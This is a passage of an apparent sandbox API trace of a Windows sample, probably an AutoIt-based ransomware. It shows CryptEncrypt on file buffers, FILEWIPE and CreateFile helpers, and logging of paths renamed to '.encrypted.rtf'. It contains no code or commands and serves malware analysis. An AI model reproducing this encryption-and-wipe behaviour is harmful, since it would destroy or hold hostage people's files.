wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.678] CharLowerBuffW (in: lpsz="byte[65105]", cchLength=0xb | out: lpsz="byte[65105]") returned 0xb [0024.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.678] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.678] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.679] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f04c0*, pdwDataLen=0xe8f3dfdf68*=0xfe43, dwBufLen=0xfe50 | out: pbData=0xe8f41f04c0*, pdwDataLen=0xe8f3dfdf68*=0xfe50) returned 1 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.679] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.679] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.679] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.684] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.684] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.684] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.684] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.684] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.685] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.685] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.685] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.685] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.688] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.689] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.689] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.689] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.689] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.689] CharLowerBuffW (in: lpsz="byte[65091]", cchLength=0xb | out: lpsz="byte[65091]") returned 0xb [0024.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.690] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.690] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.690] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.691] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.691] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.692] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.693] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3942) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.694] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xf66, lpOverlapped=0x0) returned 1 [0024.694] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xf66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3942) returned 1 [0024.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0024.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\n", cchWideChar=66, lpMultiByteStr=0xe8f4050f00, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\n", lpUsedDefaultChar=0x0) returned 66 [0024.694] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069dd0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069dd0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0024.694] CloseHandle (hObject=0x1fc) returned 1 [0024.695] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.695] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.696] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.696] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.696] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.696] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | 